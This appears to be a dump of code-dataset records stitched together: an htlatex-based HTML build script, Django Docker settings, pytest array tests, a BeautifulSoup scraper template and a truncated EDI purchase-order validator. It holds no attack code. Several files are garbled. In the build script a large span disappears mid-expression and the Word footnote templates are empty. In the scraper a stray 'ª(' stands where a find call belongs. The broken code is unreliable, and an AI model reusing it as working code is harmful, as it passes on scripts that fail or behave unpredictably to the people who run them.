\n\n'''Like bd, but will build HTML using htlatex.'''\n\nimport codecs\nfrom glob import glob\nfrom optparse import OptionParser\nimport os\nfrom os import path\nimport re\nimport shutil\nfrom subprocess import call, check_call, Popen, PIPE\nimport sys\n\nfrom os import environ\nHOME = environ['HOME']\n\nimport argparse # http://docs.python.org/dev/library/argparse.html\narg_parser = argparse.ArgumentParser(description=\n 'Build HTML from markdown')\n\n# positional arguments\narg_parser.add_argument('files', nargs='+', metavar='FILE')\n\n# optional arguments\narg_parser.add_argument(\"-k\", \"--keep-src-html\", action=\"store_true\", \n default=False, help=\"keep the source HTML file for examination or reuse\")\narg_parser.add_argument(\"-a\", \"--auto-notes\", action=\"store_true\", \n default=False, help=\"create auto-numbered notes for MS Word rather than manual notes\")\narg_parser.add_argument(\"-n\", \"--navigation\", action=\"store_true\", \n default=False, help=\"use navigation elements on header/footer of pages\")\narg_parser.add_argument(\"-o\", \"--online-URLs-only\", action=\"store_true\",\n default=False, help=\"only include URLs that are exclusively online\")\narg_parser.add_argument(\"-l\", \"--long-URL\",\n action=\"store_true\", default=False,\n help=\"use long URLs\")\narg_parser.add_argument(\"-p\", \"--paragraph-marks\", action=\"store_true\",\n default=False, help=\"add name/ids for paragraphs\")\narg_parser.add_argument(\"-r\", \"--reuse\", action=\"store_true\", \n default=False, help=\"reuse existing HTML files, rather than a LaTeX rebuild\")\narg_parser.add_argument(\"-s\", \"--single-page\", action=\"store_true\", \n default=False, help=\"create HTML as a single page\")\n\nargs = arg_parser.parse_args()\nfiles = args.files\n\nif args.online_URLs_only:\n fe_opts = '-co'\nelse:\n fe_opts = '-c'\nif args.long_URL: fe_opts += 'l'\nif args.reuse:\n shell_command = shutil.copy\nelse:\n shell_command = shutil.move\nif args.single_page:\n htlatex_opts = 'html,fn-in'\nelse:\n htlatex_opts = '\"html,2\"'\n\nif not files:\n files = [HOME+'/joseph/2010/faith']\nif '2010/faith' in files[0]:\n FILE_MAPPING = {\n '0-book.html' : 'title.html',\n '0-bookch1.html' : 'foreward.html',\n '0-bookch2.html' : 'preface-web.html',\n '0-bookch3.html' : 'preface.html',\n '0-bookch4.html' : 'chapter-1.html',\n '0-bookch5.html' : 'chapter-2.html',\n '0-bookch6.html' : 'chapter-3.html',\n '0-bookch7.html' : 'chapter-4.html',\n '0-bookch8.html' : 'chapter-5.html',\n '0-bookch9.html' : 'chapter-6.html',\n '0-bookch10.html' : 'chapter-7.html',\n '0-bookch11.html' : 'chapter-8.html',\n '0-bookch12.html' : 'references.html',\n '0-bookli1.html' : 'toc.html',\n '0-bookli2.html' : 'bibliography.html',\n }\nelse:\n FILE_MAPPING = {}\n\nfile = files[0]\nprint(\"file = %s\" % file)\nif path.isfile(file):\n src_dir = path.realpath(path.split(file)[0]) + '/'\n project = path.split(file)[1]\n dst_dir = src_dir + 'latex-' + project[:3] + '/'\n base_file_name = '0-article'\n build_file_base = dst_dir + base_file_name\nelse:\n src_dir = path.realpath(file) + '/'\n project = path.split(src_dir[:-1])[1]\n files = [path.basename(file) for file in\n sorted(glob(src_dir +'[!~]*.doc') + glob(src_dir +'[!~]*.md'))]\n dst_dir = src_dir + 'latex-' + project[:3] + '/'\n base_file_name = '0-book'\n build_file_base = dst_dir + base_file_name\nhtml_dir = dst_dir + 'html/'\nbuild_file = build_file_base + '.tex'\nhtml_file = build_file_base + '.html'\ntmp_html_file = html_file + '.tmp'\n\nprint(\"************\")\nprint(\"src_dir = %s \" %src_dir)\nprint(\"dst_dir = %s \" %dst_dir)\nprint(\"build_file_base = %s \" %build_file_base)\n\n#----------------------------\n# Build\n#----------------------------\n\nos.chdir(dst_dir)\n\nif not args.reuse:\n print(\"** calling fe, biber, and htlatex\")\n call(['fe', fe_opts], stdout=open(HOME+'/joseph/readings.bib', 'w'))\n print((' '.join(['biber', base_file_name])))\n call(['biber', base_file_name])\n print((' '.join(['*** htlatex', build_file_base, htlatex_opts])))\n call(['htlatex', build_file_base, htlatex_opts])\n #args.keep_src_html = True\nprint(\"** copying files to html dir\")\n[os.remove(old_file) for old_file in glob('html/*.html')] # remove html files from prev build\n[shutil.copy(html_file, html_dir) for html_file in glob('0-*.html')]\nif not args.keep_src_html:\n [os.remove(html_file) for html_file in glob('0-*.html')]\n\nprint(\"** changing dir\")\nos.chdir(html_dir)\n\nprint(\"** renaming files\")\nif FILE_MAPPING:\n print(\"**** FILE_MAPPING\", FILE_MAPPING)\n for old, new in list(FILE_MAPPING.items()):\n print(\"**** old, new\", old, new)\n os.rename(old, new)\n\n#----------------------------\n# Process files\n#----------------------------\n\ntoc_heading_map = {} # map between htlatex toc generated ids and my ids\n\nfor html_file in sorted(glob('*.html')):\n print('\\n' + html_file + ': ')\n\n data = codecs.open(html_file, 'r', 'iso-8859-1').read()\n\n data = data[data.find('= 250:\n ref_txt = ref_txt[:250] + ' ...'\n ref_txt = re.sub('\\d+(.*)', r'\\1', ref_txt, count=1) # , count=1\n span_popup = SubElement(hyper, 'span')\n span_popup.set('class', 'balloon')\n span_popup.text = ref_txt\n\n\n if args.paragraph_marks:\n if html_file.startswith('chapter') or html_file.startswith('reference'):\n print(\"** add heading marks\")\n headings = doc.xpath(\"//*[name()='h1' or name()='h2' or name()='h3' or name()='h4']\")\n heading_num = 1\n for heading in headings:\n span = Element(\"span\") # prepare span element for section #\n span.set('class', 'headingnum')\n heading_a = heading.xpath('a[position()=1]')[0]\n htlatex_id = heading_a.get('id') # grab id of existing a element\n span.tail = heading_a.tail\n heading.remove(heading_a) # delete 'a' element as I'm replacing it with span\n a_id = 's' + str(heading_num)\n a = SubElement(span, 'a', id=a_id, name=a_id, href='#%s' % a_id)\n a.text = '§' + str(heading_num)\n heading.append(span)\n toc_heading_map[htlatex_id] = a_id\n heading_num += 1\n\n if html_file.startswith('chapter'):\n print(\"** add paragraph-marks\")\n paras = doc.xpath('//p[not(parent::div[@class=\"crosslinks\"])]')\n para_num = 1\n for para in paras:\n if para != None and not para.text.isspace():\n span = Element(\"span\")\n span.set('class', 'paranum')\n span.tail = para.text\n a_id = 'p' + str(para_num)\n a = SubElement(span, 'a', id=a_id, name=a_id, href='#%s' % a_id)\n a.text = '¶' + str(para_num)\n para.text = None\n para.insert(0, span) # insert span at beginning of parent\n para_num += 1\n\n print(\"** remove unnecesssary chapter cruft in Notes\")\n for p in doc.xpath(\"//div[@class='center']/p[@class='noindent']\"):\n spans = p.xpath(\"span\")\n if len(spans) == 3:\n if not spans[1].text.strip().isdigit(): # remove \"Chapter 8\" from Ch1 notes\n div = spans[1].getparent().getparent()\n div_parent = div.getparent()\n div_parent.remove(div)\n else: # remove extra non-hypertextual chapter numbered\n spans[1].text = ''\n p.tag = 'h3' # made it into a subheading\n p.text = tostring(p, method=\"text\", encoding=str).strip()\n [p.remove(span) for span in p] # rm its erroneous span and href\n\n ##------------------------\n ## Manual notes\n ##------------------------\n #if not args.auto_notes:\n #print \"** remove endnote superscripts\",\n #spans = doc.xpath(\"//sup/span[@class='cmr-8']\")\n #for span in spans:\n #span.text = span.text + '. '\n #sup = span.getparent()\n #grandparent = sup.getparent()\n #grandparent.replace(sup, span)\n #------------------------\n # Manual notes\n #------------------------\n if not args.auto_notes:\n print(\"** pretty up endnotes\")\n a_note_nums = doc.xpath(\"//span[@class='footnote-mark']/a\")\n for note_number in a_note_nums:\n if note_number.text:\n note_number.text = note_number.text + ' '\n #------------------------\n # MS Word notes\n #------------------------\n else: # footnotes for MS Word\n if doc.xpath('//h2[text() = \"Notes\"]'):\n print(\"** creating MS Word sections\")\n body = doc.xpath('body')[0]\n section1 = Element('div')\n section1.set(\"class\", \"Section1\")\n ref_loc = body.index(body.xpath('//h2[text() = \"Notes\"]')[-1])\n section1.extend(body[0:ref_loc])\n notes = Element('div', style=\"mso-element:endnote-list\")\n notes.extend(body)\n body.clear()\n body.append(section1)\n body.append(notes)\n\n print(\"** remove remote a hrefs\")\n hypers = doc.xpath(\"//a[@href]\")\n for hyper in hypers:\n if 'edn' not in hyper.get('href'):\n del hyper.attrib['href']\n\n\n ms_ftn_txt = ''''''\n\n print(\"** convert inline notes to MS Word\")\n spans = doc.xpath(\"//sup/a/span[@class='cmr-8']\")\n for span in spans:\n number = int(span.text)\n a = span.getparent()\n sup = a.getparent()\n grandparent = sup.getparent()\n ms_ftn = XML(ms_ftn_txt % (number, number, number))\n ms_ftn.tail = sup.tail\n grandparent.replace(sup, ms_ftn)\n\n\n ms_endnote_txt= ''''''\n\n print(\"** convert end notes to MS Word\")\n spans = doc.xpath(\"//sup/span[@class='cmr-8']\")\n for span in spans:\n number = int(span.text)\n sup = span.getparent()\n a = sup.getparent()\n p = a.getparent()\n prenote = a.tail if a.tail else ''\n reference_txt = prenote + ''.join([tostring(node) for node in p[1:]])\n ancestor = p.getparent()\n ms_endnote = XML(ms_endnote_txt % (number, number, number, number,\n reference_txt))\n ancestor.replace(p, ms_endnote)\n\n\n #----------------------------\n # String manipulations\n #----------------------------\n\n new_data = tostring(doc, method='html', include_meta_content_type=False, encoding=str)\n\n print(\"** replace indent with tab\")\n new_data = new_data.replace(' ', '
')\\\n .replace('
', '
')\n\n print('** Fix htlatex bugs: s/\",/,\"/ s/visited on/accessed/')\n new_data = new_data.replace('”, ', ',” ')\\\n .replace('(visited on', '(accessed')\n\n if args.paragraph_marks and html_file == ('toc.html'):\n print('** Update ids in toc.html')\n for htlatex_id, a_id in list(toc_heading_map.items()):\n new_data = new_data.replace(htlatex_id, a_id)\n\n #----------------------------\n # File manipulations\n #----------------------------\n\n\n tmp_html_fd = codecs.open(tmp_html_file, \"w\", \"UTF-8\", \"replace\")\n tmp_html_fd.write(new_data)\n tmp_html_fd.close()\n\n print(\"** tidying 1\")\n call(['tidy', '-modify', '-quiet', '-utf8',\n #'--hide-comments', 'True','-numeric',\n #'--clean', ' --merge-divs', '--merge-spans',\n tmp_html_file])\n\n print(\"** validating\")\n p = Popen(['validate', tmp_html_file], stdout=PIPE)\n print(p.stdout.read())\n\n print(\"** renaming tmp to original\")\n os.rename(tmp_html_file, html_file)\n","sub_path":"bdh.py","file_name":"bdh.py","file_ext":"py","file_size_in_byte":15813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"393293706","text":"import os\n\nfrom .base import * # noqa\n\n\nDEBUG = True\n\nALLOWED_HOSTS = ['127.0.0.1', 'localhost']\n\n\n# Database settings\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': os.environ.get('MYSQL_DATABASE'),\n 'USER': os.environ.get('MYSQL_USER'),\n 'PASSWORD': os.environ.get('MYSQL_PASSWORD'),\n 'HOST': 'db',\n 'PORT': '3306',\n 'OPTIONS': {'init_command': 'SET storage_engine=INNODB', },\n }\n}\n\n\n# caching settings\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"tcp://redis:6379\",\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n }\n }\n}\n","sub_path":"etdashboard/etdashboard/settings/docker.py","file_name":"docker.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"12562826","text":"\"\"\"test array alogrithms\"\"\"\nfrom src.array import find_peak\nfrom src.array import two_sum_dict\nfrom src.array import two_sum_naive\n\n\ndef test_two_sum():\n \"\"\"test two sum\"\"\"\n test_cases = (\n ([2, 11, 7, 9], 9, (0, 2)),\n ([-3, 5, 2, 3, 8, -9], 0, (0, 3)),\n ([-3, 5, 2, 3, 8, -9], 6, None),\n )\n\n for *args, expected in test_cases:\n assert two_sum_dict(*args) == expected\n assert two_sum_naive(*args) == expected\n\n\ndef test_find_peak():\n \"\"\"test find peak\"\"\"\n test_cases = (\n ([10, 20, 30, 40, 50], 4),\n ([1, 2, 3, 1], 2),\n ([1], 0),\n ([4, 3, 2, 1], 0),\n )\n\n for args, expected in test_cases:\n assert find_peak(args) == expected\n","sub_path":"tests/test_array.py","file_name":"test_array.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"152622634","text":"import requests\nfrom bs4 import BeautifulSoup\nimport lxml\n\nbase = \"http://www.parlinfo.fr.ch\"\nbase_url = \"http://www.parlinfo.fr.ch/de/mitglieder/behoerdenmitglieder/\"\nlink_form = \"/de/mitglieder/behoerdenmitglieder/welcome.php?personen_id=\"\n\nmembers = {}\n\ndef scrape_member(name, url):\n #open member page\n r = requests.get(url)\n soup = BeautifulSoup(r.content, 'lxml')\n #find address, add to list\n address = ª(\"div\", {\"id\": \"addressPartContent\"})\n members[name] = address.get_text(\" \")\n\ndef scrape_full_page(url):\n #open page\n r = requests.get(url)\n if r.status_code == 200:\n # find all members\n soup = BeautifulSoup(r.content, 'lxml')\n for a in soup.find_all('a', href=True):\n if link_form in a['href']:\n scrape_member(a.get_text(), base + a['href'])\n\nscrape_full_page(base_url)\n\nfor address in members.keys():\n print(members[address] + \" {\" + address + \"}\")\n\n\nr = requests.get(url)\nsoup = BeautifulSoup(r.content, 'lxml')\nsoup.find_all('div', {'class':'something'})\n","sub_path":"Documentation/Vorlage_scraper.py","file_name":"Vorlage_scraper.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"473875295","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\n''' edidoc.py\r\n\r\nThis module contains classes that define an EDI doc\r\ncoming from the Negotium Pegdata software.\r\n\r\n'''\r\nimport logging\r\n#from pprint import pprint\r\n\r\n# for file manipulations\r\nimport os\r\n# regular expressions\r\nimport re\r\n\r\nlog = logging.getLogger('Edidoc')\r\n\r\nclass ediDocError(Exception): \r\n def __init__(self, value):\r\n self.value = value\r\n log.error('ediDocError occured')\r\n \r\n def __str__(self):\r\n return str('ediDocError: %s' % self.value)\r\n \r\nclass ediSegmentError(ediDocError): pass\r\nclass ediElementValidationError(ediDocError): pass\r\n\r\nclass ediSegment():\r\n '''\r\n Segment of information from a Negotium ff file\r\n ''' \r\n def __init__(self, doctype, data, spec):\r\n '''\r\n the constructor fills some class variable and validates the segment\r\n against the specification\r\n '''\r\n self.subSegments = []\r\n self.Type = doctype\r\n self.ID = data[0]\r\n log.debug('ID: %s speclen:%s' % (self.ID, len(spec)-1) )\r\n self.data = data[1:]\r\n self.spec = spec\r\n self._validate()\r\n \r\n def __repr__(self):\r\n return 'doctype : %s ID : %s' % (self.Type, self.ID)\r\n \r\n def _validate(self):\r\n '''\r\n Validate the element against the spec\r\n '''\r\n log.debug('ediSegment.Validate()')\r\n \r\n # spec element #0 contains segment requirements. DO NOT test this right now...\r\n \r\n try:\r\n # if we can index like a dictionary, then we have sub-elements\r\n # process them and return one ediSegment per sub-\r\n log.debug('self.spec[1][%s] = %s' % (self.ID, self.spec[1]))\r\n x = self.spec[1][self.ID]\r\n log.debug('create sub-elements')\r\n \r\n for data in self.data:\r\n spec = self.spec[1][data[0]]\r\n log.debug('datanew: %s\\nspecnew: %s' % (data, spec))\r\n self.subSegments.append(ediSegment(self.Type, data, spec))\r\n \r\n except TypeError as TEx:\r\n # we are in presence of a top-level element, process it directly\r\n data = self.data\r\n spec = self.spec\r\n self._validateElement(data, spec[1:])\r\n\r\n except Exception as ex:\r\n log.exception('ediSegment._validate')\r\n \r\n def _validateElement(self, element, spec):\r\n '''\r\n element: data in a list\r\n spec: validation specification in a list\r\n [requirement:datatype:minlen:maxlen:allowed_IDs]\r\n [M|O|Cx:AN|DT|ID|NB|Rx:0:9999:ID1,ID2,ID3...]\r\n M=Mandatory, O=Optional, C=Conditional on element at position x\r\n AN=Alphanumeric, DT=date, ID=ID_from_allowed_IDs,\r\n NB=integer, Rx=Real number with x decimal\r\n '''\r\n log.debug('ediSegment.ValidateElement(element=%s, spec=%s' %(element, spec))\r\n \r\n for segidx in range(len(element)):\r\n try:\r\n #TODO: trim spaces\r\n segdata = element[segidx]\r\n segspec = str(spec[segidx]).split(':')\r\n# print('-- segdata: %s\\n-- segspec: %s' % (segdata, segspec))\r\n# print('segidx: %s' % segidx)\r\n\r\n # check if the element is required or not\r\n # if the check passes, continue\r\n if self._checkElementRequirement(segdata, segspec[0]):\r\n # verify that the segment has the correct length\r\n self._checkElementLength(segdata, segspec[2:4])\r\n \r\n # check the element type\r\n self._checkElementType(segdata, segspec)\r\n \r\n except ediElementValidationError:\r\n raise\r\n \r\n except IndexError as ie:\r\n log.error('IndexError: %s\\r\\nsegidx: %s' % (ie.args, segidx))\r\n \r\n \r\n except ValueError as ve:\r\n log.error('ValueError: %s' % ve.args)\r\n raise\r\n \r\n except NotImplementedError as NIErr:\r\n log.error(NIErr.args)\r\n \r\n except AttributeError as ex:\r\n # 'list' has no attribute 'split'\r\n # DEV here I assume that if I cannot split segdata, it means\r\n # segdata is a list containing other sub-segments\r\n# print('Exception: %s' % ex.args)\r\n# print('\\tsegdata: %s Type: %s' % (segdata, self.Type))\r\n\r\n subspec = spec[segidx]\r\n subseg = ediSegment(self.Type, segdata, subspec)\r\n except Exception as ex:\r\n log.exception('')\r\n raise\r\n \r\n def _checkElementRequirement(self, elemdata, elemspec):\r\n '''\r\n Checks for the \"required\" validation field\r\n \r\n returns true if validation can continue\r\n returns false if validation should not continue because of an\r\n optional or conditional field\r\n raises an error if validation should stop\r\n \r\n \r\n #TODO: conditional field validation is not complete\r\n '''\r\n #DEV: it seems that in the Negotium documents mandatory fields can be empty !!\r\n # so we check that first and return False as soon as the data is empty\r\n\r\n log.debug('ediSegment._checkElementRequirement(elemdata=%s, elemspec=%s)' % (elemdata, elemspec))\r\n\r\n if str(elemdata).strip() == '':\r\n return False\r\n \r\n # check field requirements\r\n if elemspec == 'Cx': # conditionnal field\r\n #TODO: validate correctly\r\n return True\r\n \r\n elif elemspec == 'M': # mandatory field\r\n if elemdata == '':\r\n raise ediElementValidationError('Field is mandatory but no data found')\r\n else:\r\n return True\r\n \r\n elif elemspec == 'O': # optional field\r\n if elemdata == '':\r\n return False\r\n else:\r\n return True\r\n \r\n def _checkElementLength(self, elemdata, elemlenspec):\r\n log.debug('ediSegment._checkElementLength(elemdata=%s, elemlenspec=%s)' % (elemdata, elemlenspec))\r\n if len(str(elemdata)) != 0:\r\n if len(str(elemdata)) < int(elemlenspec[0]) or len(str(elemdata)) > int(elemlenspec[1]):\r\n raise ediElementValidationError('%s: \"%s\" length is not conform to spec (%s to %s)' % (self.ID, elemdata, elemlenspec[0], elemlenspec[1]))\r\n\r\n def _checkElementType(self, elemdata, elemspec):\r\n log.debug('ediSegment._checkElementType(elemdata=%s, elemspec=%s)' % (elemdata, elemspec))\r\n# print('elemdata: %s' % elemdata)\r\n try:\r\n elemdata = elemdata.strip()\r\n except:\r\n pass\r\n \r\n# print('%s parsing %s' % (elemdata, elemspec))\r\n if len(str(elemdata)) != 0:\r\n if elemspec[1] == 'ID':\r\n checklist = str(elemspec[4]).split(',')\r\n log.debug(checklist)\r\n \r\n if elemdata in checklist:\r\n pass\r\n else:\r\n raise ediElementValidationError('%s: ID \"%s\" not in allowed list \"%s\"' % (self.ID, elemdata, checklist))\r\n\r\n elif elemspec[1] =='AN':\r\n # accepts every character possible\r\n pass\r\n\r\n elif elemspec[1] == 'DT':\r\n import datetime\r\n try:\r\n value = datetime.date(int(elemdata[0:4]), int(elemdata[4:6]), int(elemdata[6:8]))\r\n except ValueError as vex:\r\n raise ediElementValidationError('Segment DT is not a valid date') from vex\r\n except Exception as ex:\r\n raise ediElementValidationError('Segment DT is not a valid date') from ex\r\n \r\n elif elemspec[1] == 'NB':\r\n try:\r\n value = 1 + int(elemdata)\r\n except ValueError as vex:\r\n raise ediElementValidationError('Segment NB is not a number') from vex\r\n except Exception as ex:\r\n raise ediElementValidationError('Segment NB is not a number') from ex\r\n \r\n elif elemspec[1] == 'Rx':\r\n smin = elemspec[2]\r\n smax = elemspec[3]\r\n sdec = elemspec[4]\r\n swhole = str(int(smax) - int(sdec))\r\n# print('smin: %s, smax: %s, sdec: %s, swhole: %s' % (smin,smax,sdec,swhole))\r\n# print(elemdata)\r\n\r\n #ex.: Rx:1:4:2 must match 0004 or 4.40 \r\n spattern = r'(^\\-?(\\d{' + smin + ',' + smax + '})|(\\d{' + smin + ',' + swhole + '}\\[.]\\d{' + smin + ',' + sdec + '}$))'\r\n log.debug(spattern)\r\n rx = re.compile(spattern, re.VERBOSE)\r\n result = rx.search(elemdata)\r\n log.debug('regexp: %s\\nResult: %s' % (rx.pattern, result))\r\n \r\n if result is None and elemdata.strip(' ') != '':\r\n raise ediElementValidationError('%s: \"%s\" does not conform to \"%s\"' % (self.ID, elemdata, rx.pattern))\r\n\r\n else:\r\n raise ediElementValidationError('\"%s\" is not a valid segment type' % elemspec[1])\r\n \r\n \r\nclass ediDoc():\r\n '''\r\n Base class of an EDIdocument\r\n Provides functions for:\r\n - reading the file into a document\r\n - writing the document to disk\r\n\r\n '''\r\n\r\n def __init__(self):\r\n self.segments = []\r\n\r\n def readFile(self, path, filename):\r\n '''\r\n input\r\n filename: a complete path to a text file with an extension\r\n present in the extlist\r\n '''\r\n log.debug('ediDoc.readFile(path=%s, filename=%s)' % (path, filename))\r\n if filename == '':\r\n raise IOError('No file name given')\r\n\r\n self.client = filename.split('-')[0].lower()\r\n self.filename = filename\r\n log.debug('%s: %s' % (self.client, self.filename))\r\n \r\n with open(file=os.path.join(path, filename), mode='r') as edifile:\r\n\r\n for line in edifile:\r\n # remove ending linefeed from the line read\r\n # and split into a list on the \"|\" character\r\n self.segments.append(list(line[:-1].split('|')))\r\n\r\n if self.segments == []:\r\n raise ValueError('Empty edidoc')\r\n\r\n if self.segments[0][0] != 'ID':\r\n raise TypeError('Le fichier n''est pas un fichier EDI reconnu.')\r\n\r\n\r\n def writeFile(self, path, filename):\r\n log.debug('ediDoc.writeFile(path=%s, filename=%s)' % (path, filename))\r\n if self.segments == []:\r\n raise ValueError('fileitems is empty')\r\n\r\n f = open(file=path + filename, mode='w')\r\n\r\n for segment in self.segments:\r\n f.write('|'.join('%s' % elem for elem in segment))\r\n f.write('\\r\\n')\r\n\r\n f.close()\r\n\r\n\r\nclass edi850(ediDoc):\r\n '''\r\n This class defines a purchase order (850 type) document\r\n\r\n The different elements are separated here to be processed later\r\n '''\r\n #DEV: ITEM->ALLOW_ITEM->ID4 changed to AN because ID list very long\r\n #TODO: ID lists must be loaded from database\r\n #TODO: change ID4 to use list from database\r\n docSpec = {'ID':['M', 'M:ID:3:3:850', 'M:AN:1:15', 'M:AN:1:15'], \r\n 'HEAD': ['M', 'O:DT:8:8', 'O:AN:1:22', 'M:DT:8:8', 'M:AN:1:22', \r\n #'M:ID:2:2:00,OO,CO', 'M:ID:2:2:SA,DR,NS,NN,RO,NE,FF', \r\n 'M:ID:2:2:00,OO,CO', 'M:ID:2:2:SA,DR,NS,NN,RO,NE,FF,OS', \r\n 'O:AN:1:22', 'O:AN:1:12', 'O:AN:1:22'],\r\n 'CUR': ['O', 'M:ID:3:3:CAD,USD'],\r\n #'REF': ['M', 'M:ID:2:3:GST,PST,HST,BOL,ATH,CM,SN,APO,RSN,DP,IT,MR', \r\n 'REF': ['M', 'M:ID:2:3:GST,PST,HST,BOL,ATH,CM,SN,APO,RSN,DP,IT,MR,ZZ', \r\n 'M:AN:1:30', 'O:AN:1:20'],\r\n #'M:AN:1:30', 'O:AN:1:10'],\r\n 'MSG': ['O', 'O:AN:2:130'],\r\n #'PER': ['O', 'M:ID:2:2:SR,BY,AG', 'M:AN:1:35', 'M:AN:1:80'],\r\n 'PER': ['O', 'M:ID:2:2:SR,BY,AG,OC,DC,BD', 'M:AN:1:35', 'M:AN:1:80'],\r\n 'ADDR': ['M', \r\n #{'ADDR_TYPE': ['M', 'M:ID:2:2:BT,ST,BY,VN,FD,SF,BS', 'M:AN:1:80', 'M:AN:2:2', 'M:AN:2:20'],\r\n {'ADDR_TYPE': ['M', 'M:ID:2:2:BT,ST,BY,VN,FD,SF,BS,LW', 'M:AN:1:80', 'M:AN:2:2', 'M:AN:2:20'],\r\n 'ADDR': ['M', 'M:AN:1:55', 'M:AN:1:55'],\r\n #'LOCATION': ['M', 'M:AN:2:30', 'M:AN:2:2', 'M:AN:3:15', 'M:ID:2:3:CA,US, ']\r\n 'LOCATION': ['M', 'M:AN:2:30', 'M:AN:2:2', 'M:AN:3:15', 'M:ID:2:3:CA,US,USA, ']\r\n }\r\n ],\r\n 'TERMS_GEN': ['M', 'M:ID:2:2:RT,ST', 'M:ID:2:2:DD,ID, ', 'O:Rx:1:6:3', 'Cx:DT:8:8',\r\n 'Cx:AN:1:3', 'Cx:DT:8:8', 'O:AN:1:3', 'O:Rx:1:10:2', 'O:AN:1:30', 'O:AN:1:2'],\r\n 'DATE': ['M', 'M:ID:2:2:DL,ST,CA,DR,SO,PK', 'M:DT:8:8', 'O:NB:4:8'],\r\n #'FOB': ['M', 'M:ID:2:2:PP,CL,DF,PU', 'M:ID:2:2:CR,DE,ZZ', 'O:AN:1:80'],\r\n 'FOB': ['M', 'M:ID:2:2:PP,CL,DF,PU', 'M:ID:2:2:CR,DE,ZZ,DC', 'O:AN:1:80'],\r\n 'ITEM': ['M', \r\n {'ITEM': ['M', 'O:AN:1:20', 'M:Rx:1:10:3', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN',\r\n 'M:Rx:0:17:4', 'M:ID:2:2:VN', 'M:AN:1:48', 'O:ID:2:2:UP,EN,UK,UA', 'O:AN:1:48',\r\n 'O:ID:2:2:SK', 'O:AN:1:48', 'O:NB:1:3', 'O:NB:1:3'],\r\n 'BO': ['O', 'M:Rx:1:10:3', 'O:Rx:1:10:3'],\r\n 'PRICE': ['O', 'O:ID:3:3:UCP', 'M:Rx:1:17:4'],\r\n 'DESC': ['M', 'M:AN:1:80'],\r\n 'PHYS': ['O', 'M:NB:1:6', 'M:Rx:1:8:3', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN'],\r\n 'TAX': ['O', \r\n {'TAX': ['O', 'M:ID:2:3:GST,PST,HST', 'M:Rx:1:15:2', 'O:Rx:1:10:2']}\r\n ],\r\n 'TERMS_ITEM': ['O', 'M:ID:2:2:RT,ST', 'M:ID:2:2:DD,ID', 'O:Rx:1:6:3', 'Cx:DT:8:8',\r\n 'Cx:AN:1:3', 'C:DT:8:8', 'O:AN:1:3', 'O:Rx:1:10:2', 'O:AN:1:30', 'O:AN:1:2'],\r\n #TODO: Item2 is ID, get list from database\r\n 'ALLOW_ITEM': ['O', 'M:ID:1:1:A,C', 'M:AN:4:4', 'Cx:Rx:1:15:2', 'Cx:Rx:1:6:3', 'Cx:Rx:1:6:3', 'O:AN:1:80'],\r\n 'REF_ITEM': ['O', 'O:ID:2:3:PG', 'O:AN:1:30']\r\n }\r\n ],\r\n 'TOTAL': ['M', 'M:ID:2:2:TT', 'M:Rx:1:15:2','Cx:Rx:1:15:2'],\r\n 'TOTAL_TAX': ['Cx', 'M:ID:2:3:GST,PST,HST', 'M:Rx:1:15:2', 'O:Rx:1:10:2'], \r\n 'CARRIER': ['O', 'O:ID:1:2:AI,CC,PP,PS,PK,ZZ', 'O:AN:2:4', 'O:AN:1:35', 'M:ID:2:3:CN', \r\n 'M:AN:1:30', 'O:ID:2:3:AV,BO,BK,CL,DD,DI,DP,EX,ED,ZZ,PR,CP,PD,SE,CC,CM,CS,CE,LM,SI,BP,SC,SA,SK,SL,SH,SG,SF,SD,SI,SS,ST,OR,UN,UB', \r\n '0:AN:2:15', 'Cx:ID:2:2:01,02,03,04'],\r\n #TODO: Item2 is ID, get list\r\n 'ALLOW_GEN': ['O', 'M:ID:1:1:A,C', 'M:AN:4:4', 'C:Rx:1:15:2', 'Cx:Rx:1:6:3', 'Cx:Rx:1:6:3', 'O:AN:1:80'], \r\n 'PACK': ['Cx', 'M:NB:1:10', 'M:ID:2:2:PK,CA,PL', 'M:Rx:1:10:2', 'M:ID:2:2:BP,FC,01,BG,BO,BX,BD,Z3,CO,CY,DZ,DR,EA,FT,GR,GS,H4,KG,KT,LF,LM,LY,LT,ML,PK,PL,PC,QT,SF,TH,TM,TS,TI,UN,YD,IN'] \r\n }\r\n \r\n docType = '850'\r\n \r\n def __init__(self):\r\n #init super class\r\n ediDoc.__init__(self)\r\n #dict that will contain elements\r\n self.elements = {}\r\n\r\n def readFile(self, path, filename):\r\n log.debug('edi850.ReadFile(path=%s, filename=%s)' % (path, filename))\r\n ediDoc.readFile(self, path, filename)\r\n\r\n# print(self.segments)\r\n \r\n if self.segments[0][1] != self.docType:\r\n raise ValueError('The document is not a purchase order (850) document.')\r\n\r\n self.PO = self.segments[1][4]\r\n \r\n self._readSegments()\r\n \r\n def _readSegments(self):\r\n #TODO: find a way to create the ADDR, ITEM and TAX elements with their sub-elements\r\n # looping with index might help ??\r\n\r\n for icount in range(len(self.segments)): \r\n elem = []\r\n \r\n# print(self.segments[icount][0])\r\n if self.segments[icount][0] == 'ADDR_TYPE':\r\n elem = ['ADDR']\r\n addrelem = self.segments[icount:icount+3]\r\n elem.extend(addrelem)\r\n\r\n # these items have been cared of in the previous 'if'\r\n elif self.segments[icount][0] in ['ADDR', 'LOCATION']:\r\n continue\r\n 